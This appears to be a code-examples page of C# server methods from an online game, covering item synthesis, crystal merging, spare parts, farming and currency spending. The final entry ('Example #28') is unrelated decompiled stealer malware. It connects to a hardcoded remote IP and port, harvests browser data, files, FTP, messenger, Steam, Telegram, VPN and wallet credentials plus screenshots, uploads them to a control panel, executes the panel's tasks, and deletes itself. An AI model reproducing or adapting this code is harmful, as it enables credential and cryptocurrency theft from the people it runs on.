                            itemLv = MathUtils.Subtraction(synthesisUserItem.ItemLv, (short)5, (short)1);
                            UpdateUserItem(synthesisInfo.ItemID, synthesisUserItem);
                            UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv);
                        }
                        else
                        {
                            UserItemHelper.AddUserItem(ContextUser.UserID, synthesisInfo.ItemID, synthesisArray[0].SynthesisNum);
                            UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv);
                        }
                    }
                    #endregion
                }
                else if (_ops == 2)
                {
                    #region 晶石合成
                    if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.JuanZouZhiJieWanCheng))
                    {
                        ErrorCode = LanguageManager.GetLang().ErrorCode;
                        ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion;
                        return(false);
                    }
                    ErrorCode = 1;
                    ErrorInfo = string.Format(LanguageManager.GetLang().St1603_SynthesisEnergyNum, useGold);
                    return(false);

                    #endregion
                }
                else if (_ops == 3)
                {
                    #region 确认晶石合成
                    if (ContextUser.GoldNum < useGold)
                    {
                        ErrorCode = 1;
                        ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }
                    //原因:配置材料不使用晶石合成时提示
                    string userItemName = UseritemGoldName(ContextUser.UserID, synthesisArray);
                    if (!string.IsNullOrEmpty(userItemName))
                    {
                        ErrorCode = LanguageManager.GetLang().ErrorCode;
                        ErrorInfo = string.Format(LanguageManager.GetLang().St_ItemIsGold, userItemName);
                        return(false);
                    }

                    foreach (ItemSynthesisInfo synthesis in synthesisArray)
                    {
                        int          curNum    = 0;
                        ItemBaseInfo itemsInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(synthesis.SynthesisID);
                        if (!string.IsNullOrEmpty(_userEquID) && synthesis.SynthesisID == userItem.ItemID)
                        {
                            if (userItem.ItemStatus == ItemStatus.YongBing)
                            {
                                if (IsLevelNotEnough(ContextUser, userItem.GeneralID, synthesisInfo.ItemID))
                                {
                                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                                    ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough;
                                    return(false);
                                }

                                UserItemHelper.AddItemLog(ContextUser.UserID, userItem.ItemID, userItem.Num, userItem.ItemLv, 9, userItem.UserItemID);
                                synthesisInfoList.Add(new SynthesisInfo()
                                {
                                    DemandID = userItem.ItemID, Num = 1
                                });
                            }
                        }
                        else
                        {
                            if (itemsInfo != null && itemsInfo.ItemType == ItemType.ZhuangBei)
                            {
                                synthesisUserItem = GetUserItemInfo(ContextUser.UserID, itemsInfo.ItemID);
                                if (IsLevelNotEnough(ContextUser, synthesisUserItem.GeneralID, synthesisInfo.ItemID))
                                {
                                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                                    ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough;
                                    return(false);
                                }
                            }
                            else
                            {
                                var itemArray = UserItemHelper.GetItems(Uid).FindAll(u => u.ItemID.Equals(synthesis.SynthesisID) && (u.ItemStatus == ItemStatus.BeiBao || u.ItemStatus == ItemStatus.CangKu));
                                if (itemArray.Count > 0)
                                {
                                    foreach (var item in itemArray)
                                    {
                                        curNum += item.Num;
                                    }
                                    if (synthesis.DemandNum < curNum)
                                    {
                                        UserItemHelper.UseUserItem(ContextUser.UserID, synthesis.SynthesisID, synthesis.DemandNum);
                                        synthesisInfoList.Add(new SynthesisInfo()
                                        {
                                            DemandID = synthesis.SynthesisID, Num = synthesis.DemandNum
                                        });
                                    }
                                    else
                                    {
                                        UserItemHelper.UseUserItem(ContextUser.UserID, synthesis.SynthesisID, curNum);
                                        synthesisInfoList.Add(new SynthesisInfo()
                                        {
                                            DemandID = synthesis.SynthesisID, Num = curNum
                                        });
                                    }
                                }
                            }
                        }
                    }
                    if (!string.IsNullOrEmpty(_userEquID))
                    {
                        itemLv = MathUtils.Subtraction(userItem.ItemLv, (short)5, (short)1);
                        UpdateUserItem(synthesisInfo.ItemID, userItem);
                        UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv);
                    }
                    else
                    {
                        if (synthesisUserItem != null)
                        {
                            itemLv = MathUtils.Subtraction(synthesisUserItem.ItemLv, (short)5, (short)1);
                            UpdateUserItem(synthesisInfo.ItemID, synthesisUserItem);
                            UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv);
                        }
                        else
                        {
                            UserItemHelper.AddUserItem(ContextUser.UserID, synthesisInfo.ItemID, synthesisArray[0].SynthesisNum);
                            UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv);
                        }
                    }

                    ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue);
                    // ContextUser.Update();

                    #endregion
                }
            }
            return(true);
        }
Example #22
0
        public override bool TakeAction()
        {
            var package = UserCrystalPackage.Get(Uid);

            if (ops == 1)
            {
                UserCrystalInfo userCryStal1 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(userCrystalID1));
                UserCrystalInfo userCryStal2 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(userCrystalID2));
                // UserCrystal userCryStal1 = UserCrystal.FindKey(userCrystalID1);
                //UserCrystal userCryStal2 = UserCrystal.FindKey(userCrystalID2);
                if (userCryStal1 == null || userCryStal2 == null)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1308_CrystalNotEnough;
                    return(false);
                }
                if (userCryStal1.CrystalLv > 9)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1308_CrystalLvFull;
                    return(false);
                }

                CrystalInfo crystalInfo1  = new ShareCacheStruct <CrystalInfo>().FindKey(userCryStal1.CrystalID);
                CrystalInfo crystalInfo2  = new ShareCacheStruct <CrystalInfo>().FindKey(userCryStal2.CrystalID);
                int         cryExprience1 = 0;
                int         cryExprience2 = 0;
                if (crystalInfo1 != null && crystalInfo2 != null)
                {
                    cryExprience1 = crystalInfo1.Experience;
                    cryExprience2 = crystalInfo2.Experience;

                    if (crystalInfo1.CrystalQuality == crystalInfo2.CrystalQuality)
                    {
                        if (userCryStal1.CurrExprience >= userCryStal2.CurrExprience)
                        {
                            UpdateCrystal(userCrystalID1, userCrystalID2, cryExprience2);
                        }
                        else
                        {
                            UpdateCrystal(userCrystalID2, userCrystalID1, cryExprience1);
                        }
                    }
                    else if (crystalInfo1.CrystalQuality > crystalInfo2.CrystalQuality)
                    {
                        UpdateCrystal(userCrystalID1, userCrystalID2, cryExprience2);
                    }
                    else
                    {
                        UpdateCrystal(userCrystalID2, userCrystalID1, cryExprience1);
                    }
                }
            }
            else if (ops == 2)
            {
                CacheList <SynthesisInfo> SynList = new CacheList <SynthesisInfo>();
                int experience       = 0;
                var userCrystalArray = package.CrystalPackage.FindAll(m => m.IsSale == 2 && m.GeneralID.Equals(0));
                if (userCrystalArray.Count == 0)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1308_CrystalNotEnough;
                    return(false);
                }
                userCrystalArray.QuickSort((x, y) =>
                {
                    int result = 0;
                    if (x == null && y == null)
                    {
                        return(0);
                    }
                    if (x != null && y == null)
                    {
                        return(1);
                    }
                    if (x == null)
                    {
                        return(-1);
                    }
                    result = (int)new ShareCacheStruct <CrystalInfo>().FindKey(y.CrystalID).CrystalQuality.CompareTo(
                        new ShareCacheStruct <CrystalInfo>().FindKey(x.CrystalID).CrystalQuality);
                    if (result == 0)
                    {
                        result = y.CurrExprience.CompareTo(x.CurrExprience);
                    }
                    return(result);
                });

                UserCrystalInfo userCrystal1 =
                    package.CrystalPackage.Find(m => m.UserCrystalID == userCrystalArray[0].UserCrystalID);
                int maxExprience = 0;
                if (userCrystal1 == null)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1308_CrystalNotEnough;
                    return(false);
                }
                short         upLv          = 10;
                CrystalLvInfo crystalLvInfo = new ShareCacheStruct <CrystalLvInfo>().FindKey(userCrystal1.CrystalID, upLv);
                maxExprience = crystalLvInfo == null ? 0 : crystalLvInfo.UpExperience;


                foreach (UserCrystalInfo crystal in userCrystalArray)
                {
                    CrystalInfo crystalInfo = new ShareCacheStruct <CrystalInfo>().FindKey(crystal.CrystalID);
                    if (crystalInfo != null)
                    {
                        experience = crystalInfo.Experience;
                    }

                    if (userCrystal1.UserCrystalID != crystal.UserCrystalID)
                    {
                        SynList.Add(new SynthesisInfo()
                        {
                            DemandID = crystal.CrystalID, Num = crystal.CurrExprience
                        });
                        if (userCrystal1.CurrExprience >= maxExprience)
                        {
                            ErrorCode = LanguageManager.GetLang().ErrorCode;
                            ErrorInfo = LanguageManager.GetLang().St1308_CrystalLvFull;
                            break;
                        }
                        experience = MathUtils.Addition(experience, userCrystal1.CurrExprience);
                        experience = MathUtils.Addition(experience, crystal.CurrExprience);
                        userCrystal1.CurrExprience = experience;
                        package.SaveCrystal(userCrystal1);
                        //package.DelayChange();
                        package.RemoveCrystal(crystal);
                    }
                }
                UserLogHelper.AppenCtystalLog(ContextUser.UserID, 3, userCrystal1.CrystalID, 0, 0, SynList, userCrystal1.CrystalLv, userCrystal1.CurrExprience);
                UserHelper.CheckCrystalEscalate(ContextUser.UserID, userCrystalArray[0].UserCrystalID);
            }
            return(true);
        }
Example #23
0
        public override bool TakeAction()
        {
            ErrorCode = _ops;
            //1:镶嵌 2:卸下 3:出售
            if (_ops == 1)
            {
                if (string.IsNullOrEmpty(_userItemID))
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    return(false);
                }
                UserSparePart[] sparePartsArray = ContextUser.SparePartList.FindAll(m => m.UserItemID.Equals(_userItemID)).ToArray();
                if (sparePartsArray.Length > 0)
                {
                    //原因:装备上镶嵌超出开启位置数量的灵件
                    if (ContextUser.UserExtend != null)
                    {
                        if (_position > ContextUser.UserExtend.MaxLayerNum)
                        {
                            ErrorCode = LanguageManager.GetLang().ErrorCode;
                            ErrorInfo = LanguageManager.GetLang().St1213_GridNumNotEnough;
                            return(false);
                        }
                        if (sparePartsArray.Length >= ContextUser.UserExtend.MaxLayerNum)
                        {
                            ErrorCode = LanguageManager.GetLang().ErrorCode;
                            ErrorInfo = LanguageManager.GetLang().St1213_OpenNumNotEnough;
                            return(false);
                        }
                    }
                    foreach (UserSparePart part in sparePartsArray)
                    {
                        if (part.Position == _position)
                        {
                            ErrorCode = LanguageManager.GetLang().ErrorCode;
                            ErrorInfo = LanguageManager.GetLang().St1213_GridPotionFull;
                            return(false);
                        }
                    }
                }

                var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID));
                if (sparePart != null && string.IsNullOrEmpty(sparePart.UserItemID))
                {
                    sparePart.UpdateNotify(obj =>
                    {
                        sparePart.UserItemID = _userItemID;
                        sparePart.SetPosition(_position);
                        return(true);
                    });
                    UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 3);
                    //ContextUser.UpdateSparePart();

                    var          package  = UserItemPackage.Get(Uid);
                    UserItemInfo userItem = package.ItemPackage.Find(m => !m.IsRemove && m.UserItemID.Equals(sparePart.UserItemID));
                    if (userItem != null && userItem.ItemStatus.Equals(ItemStatus.YongBing))
                    {
                        var userGeneral = new GameDataCacheSet <UserGeneral>().FindKey(Uid, userItem.GeneralID);
                        if (userGeneral != null)
                        {
                            userGeneral.RefreshMaxLife();
                        }
                    }
                }
            }
            else if (_ops == 2)
            {
                int currNum = ContextUser.SparePartList.FindAll(m => string.IsNullOrEmpty(m.UserItemID)).Count;
                if (currNum >= ContextUser.UserExtend.SparePartGridNum)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1213_GridNumFull;
                    return(false);
                }
                var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID));
                if (sparePart != null && !string.IsNullOrEmpty(sparePart.UserItemID))
                {
                    var          package  = UserItemPackage.Get(Uid);
                    UserItemInfo userItem = package.ItemPackage.Find(m => !m.IsRemove && m.UserItemID.Equals(sparePart.UserItemID));

                    sparePart.UpdateNotify(obj =>
                    {
                        sparePart.SetPosition(0);
                        sparePart.UserItemID = string.Empty;
                        return(true);
                    });
                    UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 3);
                    if (userItem != null && userItem.ItemStatus.Equals(ItemStatus.YongBing))
                    {
                        var userGeneral = new GameDataCacheSet <UserGeneral>().FindKey(Uid, userItem.GeneralID);
                        if (userGeneral != null)
                        {
                            userGeneral.RefreshMaxLife();
                        }
                    }
                }
            }
            else if (_ops == 3)
            {
                var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID));
                if (sparePart != null)
                {
                    var sparePartInfo = new ConfigCacheSet <SparePartInfo>().FindKey(sparePart.SparePartId) ?? new SparePartInfo();
                    ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, sparePartInfo.CoinPrice);
                    ContextUser.UserExtend.UpdateNotify(obj =>
                    {
                        ContextUser.UserExtend.LingshiNum = MathUtils.Addition(ContextUser.UserExtend.LingshiNum, sparePartInfo.LingshiPrice);
                        return(true);
                    });
                    UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 2);
                    ContextUser.RemoveSparePart(sparePart);
                    //ContextUser.Update();
                }
            }
            return(true);
        }
Example #24
0
        public override bool TakeAction()
        {
            short     optype       = 0;
            short     plantQuality = 0;
            PlantType pType        = (PlantType)Enum.Parse(typeof(PlantType), plantType.ToString());

            if (pType == PlantType.Experience)
            {
                optype = 6;
            }
            else
            {
                optype = 7;
            }
            short       generalLv   = 0;
            UserGeneral userGeneral = new PersonalCacheStruct <UserGeneral>().FindKey(ContextUser.UserID, generalID);

            if (userGeneral == null)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().LoadDataError;
                return(false);
            }
            generalLv = userGeneral.GeneralLv;

            if (pType == PlantType.Experience)
            {
                generalLv = ContextUser.UserLv;
            }
            else if (pType == PlantType.GameGoin)
            {
                generalLv = userGeneral.GeneralLv;
            }
            int      upexpNum = 0;
            int      expeNum  = 0;
            double   addNum   = FestivalHelper.SurplusPurchased(ContextUser.UserID, FestivalType.ManorAddition);//活动加成
            UserLand userLand = new PersonalCacheStruct <UserLand>().FindKey(ContextUser.UserID, landPositon);

            if (userLand != null)
            {
                if (userLand.IsGain == 2 || userLand.GeneralID == 0)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().LoadDataError;
                    return(false);
                }
                plantQuality = (short)userLand.PlantQuality;
                PlantInfo plantInfo = new ShareCacheStruct <PlantInfo>().FindKey(generalLv, plantType, userLand.PlantQuality);
                if (plantInfo != null)
                {
                    if (userLand.IsGain == 1)
                    {
                        userLand.GeneralID    = 0;
                        userLand.PlantType    = PlantType.Experience;
                        userLand.IsGain       = 2;
                        userLand.GainDate     = DateTime.Now;
                        userLand.PlantQuality = PlantQualityType.PuTong;
                    }
                    else
                    {
                        ErrorCode = LanguageManager.GetLang().ErrorCode;
                        return(false);
                    }
                    gainNum = plantInfo.GainNum;
                    UserLand land = new PersonalCacheStruct <UserLand>().FindKey(ContextUser.UserID, landPositon);
                    if (land != null && land.IsRedLand == 1)
                    {
                        gainNum = MathUtils.Addition(gainNum, (int)(gainNum * 0.2), int.MaxValue);
                    }
                    if (land != null && land.IsBlackLand == 1)
                    {
                        gainNum = MathUtils.Addition(gainNum, (int)(gainNum * 0.4), int.MaxValue);
                    }
                    gainNum = (gainNum * addNum).ToInt();
                    if (pType == PlantType.Experience)
                    {
                        expeNum = MathUtils.Addition(userGeneral.CurrExperience, gainNum, int.MaxValue);

                        GeneralEscalateInfo generalEscalate = new ShareCacheStruct <GeneralEscalateInfo>().FindKey(userGeneral.GeneralLv);
                        if (generalEscalate != null)
                        {
                            upexpNum = generalEscalate.UpExperience;
                        }

                        if (gainNum > 0)
                        {
                            userGeneral.Experience2 = MathUtils.Addition(userGeneral.Experience2, gainNum, int.MaxValue);
                            //userGeneral.CurrExperience = MathUtils.Addition(userGeneral.CurrExperience, gainNum, int.MaxValue);
                            UserHelper.TriggerGeneral(userGeneral, gainNum);
                        }
                    }
                    else if (pType == PlantType.GameGoin)
                    {
                        if (gainNum > 0)
                        {
                            ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, gainNum, int.MaxValue);
                        }
                    }
                }
                UserLogHelper.AppenLandLog(ContextUser.UserID, optype, generalID, landPositon, 0, plantQuality, gainNum, 0);
            }

            if (pType == PlantType.Experience && expeNum >= upexpNum)
            {
                var    chatService = new TjxChatService();
                string content     = string.Format(LanguageManager.GetLang().St10006_UserGeneralUpLv,
                                                   userGeneral.GeneralName,
                                                   userGeneral.GeneralLv);
                chatService.SystemSendWhisper(ContextUser, content);
            }

            return(true);
        }
Example #25
0
        public override bool TakeAction()
        {
            UserQueue userQueue = null;
            int       energyNum;
            int       coleTime  = GetSweepColdTime(out energyNum);
            short     surEnergy = MathUtils.Addition(ContextUser.EnergyNum, ContextUser.SurplusEnergy, short.MaxValue);

            if ((ContextUser.EnergyNum == 0 && ContextUser.SurplusEnergy == 0) || surEnergy < energyNum)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St_EnergyNotEnough;
                return(false);
            }
            int goldNum = GetGoldNum(out userQueue);

            if (goldNum == 0)
            {
                return(false);
            }
            if (ops == 1)
            {
                //提示晶石操作
                ErrorCode = ops;
                ErrorInfo = string.Format(LanguageManager.GetLang().St4008_Tip, goldNum);
            }
            else if (ops == 2)
            {
                //使用晶石确认操作
                int userGoldNum = ContextUser.GoldNum;
                if (userGoldNum < goldNum)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                //晶石扫荡
                if (userQueue != null)
                {
                    DoAccelerateQueue(goldNum, userQueue.DoRefresh(), userQueue.GetTiming(), userQueue.TotalColdTime);
                    //加速完清除队列
                    var queueCacheSet = new PersonalCacheStruct <UserQueue>();
                    queueCacheSet.Delete(userQueue);
                    ContextUser.ResetSweepPool(0);
                    //ContextUser.Update();
                }
                else
                {
                    //清除扫荡池
                    var sweepCacheSet = new PersonalCacheStruct <UserSweepPool>();
                    List <UserSweepPool> sweepPoolList = sweepCacheSet.FindAll(ContextUser.UserID);
                    foreach (UserSweepPool sweepPool in sweepPoolList)
                    {
                        if (sweepPool != null)
                        {
                            sweepCacheSet.Delete(sweepPool);
                        }
                    }
                    var itemList = UserItemHelper.GetItems(Uid).FindAll(m => m.ItemStatus == ItemStatus.BeiBao);
                    if (itemList.Count >= ContextUser.GridNum)
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St4007_BeiBaoTimeOut;
                        return(false);
                    }
                    DoAccelerateQueue(goldNum, coleTime, 0, coleTime);
                }
                DateTime startDate = userQueue != null ? userQueue.Timing : DateTime.Now;
                UserLogHelper.AppenRaidsLog(ContextUser.UserID, 2, startDate, DateTime.Now, (short)GetSweepEnergy(out energyNum), goldNum);
            }
            else
            {
                this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                return(false);
            }
            return(true);
        }
Example #26
0
        public override bool TakeAction()
        {
            ErrorCode = _ops;
            var sparePart     = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID));
            var sparePartInfo = new ConfigCacheSet <SparePartInfo>().FindKey(sparePart.SparePartId);

            var reset = sparePartInfo.GetSparePartReset(_partPropertys.Length);

            if (_ops == 1)
            {
                ErrorInfo = string.Format(LanguageManager.GetLang().St1214_ResetUseLingshi, reset.Lingshi, reset.Coin);
            }
            else if (_ops == 2)
            {
                if (reset.Lingshi > ContextUser.UserExtend.LingshiNum)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_LingshiNumNotEnough;
                    return(false);
                }
                if (reset.Coin > ContextUser.GameCoin)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough;
                    return(false);
                }
                if (reset.Lingshi <= ContextUser.UserExtend.LingshiNum)
                {
                    ResetProperty();
                    ContextUser.UserExtend.UpdateNotify(obj =>
                    {
                        ContextUser.UserExtend.LingshiNum = MathUtils.Subtraction(ContextUser.UserExtend.LingshiNum, reset.Lingshi, 0);
                        return(true);
                    });
                    ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, reset.Coin, 0);
                    //ContextUser.Update();
                }
                UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 4);
            }
            else if (_ops == 3)
            {
                ErrorInfo = string.Format(LanguageManager.GetLang().St1214_ResetUseGold, reset.Gold, reset.Coin);
            }
            else if (_ops == 4)
            {
                if (reset.Gold > ContextUser.GoldNum)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                if (reset.Coin > ContextUser.GameCoin)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough;
                    return(false);
                }
                if (reset.Gold <= ContextUser.GoldNum && reset.Coin <= ContextUser.GameCoin)
                {
                    ResetProperty();
                    ContextUser.UseGold  = MathUtils.Addition(ContextUser.UseGold, reset.Gold);
                    ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, reset.Coin);
                    //ContextUser.Update();
                }
                UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 5);
            }
            return(true);
        }
Example #27
0
        public override bool TakeAction()
        {
            //UserHelper.ChechDailyRestrain(ContextUser.UserID);
            if (ContextUser.VipLv < 5)
            {
                this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                this.ErrorInfo = LanguageManager.GetLang().St10009_NotPayDew;
                return(false);
            }
            int       sumGold    = 0;
            int       payDewTime = 0;
            UserPlant plant      = new PersonalCacheStruct <UserPlant>().FindKey(ContextUser.UserID);

            if (plant.DewNum == 8)
            {
                this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                this.ErrorInfo = LanguageManager.GetLang().St10009_DewNumFull;
                return(false);
            }
            if (plant != null && DateTime.Now.Date == plant.DewDate.Date)
            {
                payDewTime = MathUtils.Addition(plant.PayDewTime, 1, int.MaxValue);
                sumGold    = (payDewTime * 2);
            }
            else
            {
                payDewTime = 1;
                sumGold    = 2;
            }
            if (ops == 1)
            {
                ErrorCode = 1;
                ErrorInfo = string.Format(LanguageManager.GetLang().St10009_PayDewUseGold, sumGold);
                return(false);
            }
            else if (ops == 2)
            {
                if (ContextUser.GoldNum < sumGold)
                {
                    ErrorCode = 2;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }

                if (ContextUser.GoldNum >= sumGold)
                {
                    ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue);
                    //ContextUser.Update();
                    dewNum           = MathUtils.Addition(plant.DewNum, 1, int.MaxValue);
                    plant.DewNum     = dewNum;
                    plant.PayDewTime = payDewTime;
                    plant.DewDate    = DateTime.Now;
                    //plant.Update();
                    UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 3, 0, dewNum, sumGold,
                                                  ContextUser.GoldNum,
                                                  MathUtils.Addition(ContextUser.GoldNum, sumGold, int.MaxValue));
                    UserLogHelper.AppenLandLog(ContextUser.UserID, 8, 0, 0, sumGold, 0, 0, dewNum);
                }
            }

            return(true);
        }
Example #28
0
        // Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278
        public static void Main(string[] args)
        {
            string text    = "95.181.172.34:35253";
            string buildId = "loshariki";

            try
            {
                try
                {
                    ServicePointManager.Expect100Continue = true;
                    ServicePointManager.SecurityProtocol  = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12);
                }
                catch
                {
                }
                bool    flag;
                UserLog log;
                Action <IRemotePanel> < > 9__0;
                do
                {
                    flag = false;
                    try
                    {
                        foreach (string remoteIP in text.Split(new char[]
                        {
                            '|'
                        }))
                        {
                            try
                            {
                                Action <IRemotePanel> codeBlock;
                                if ((codeBlock = < > 9__0) == null)
                                {
                                    codeBlock = (< > 9__0 = delegate(IRemotePanel panel)
                                    {
                                        ClientSettings settings = null;
                                        try
                                        {
                                            settings = panel.GetSettings();
                                        }
                                        catch (Exception)
                                        {
                                            settings = new ClientSettings
                                            {
                                                BlacklistedCountry = new List <string>(),
                                                BlacklistedIP = new List <string>(),
                                                GrabBrowsers = true,
                                                GrabFiles = true,
                                                GrabFTP = true,
                                                GrabImClients = true,
                                                GrabPaths = new List <string>(),
                                                GrabUserAgent = true,
                                                GrabWallets = true,
                                                GrabScreenshot = true,
                                                GrabSteam = true,
                                                GrabTelegram = true,
                                                GrabVPN = true
                                            };
                                        }
                                        UserLog log = UserLogHelper.Create(settings);
                                        log.Exceptions = new List <string>();
                                        log.BuildID = buildId;
                                        log.Credentials = CredentialsHelper.Create(settings);
                                        log.SendTo(panel);
                                        log = log;
                                        log.Credentials = new Credentials();
                                        IList <RemoteTask> tasks = panel.GetTasks(log);
                                        if (tasks != null)
                                        {
                                            foreach (RemoteTask remoteTask in tasks)
                                            {
                                                try
                                                {
                                                    if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask))
                                                    {
                                                        panel.CompleteTask(log, remoteTask.ID);
                                                    }
                                                }
                                                catch
                                                {
                                                }
                                            }
                                        }
                                    });
                                }
                                GenericService <IRemotePanel> .Use(codeBlock, remoteIP);

                                flag = true;
                                break;
                            }
                            catch
                            {
                            }
                        }
                    }
                    catch (Exception)
                    {
                    }
                }while (!flag);
            }
            catch (Exception)
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }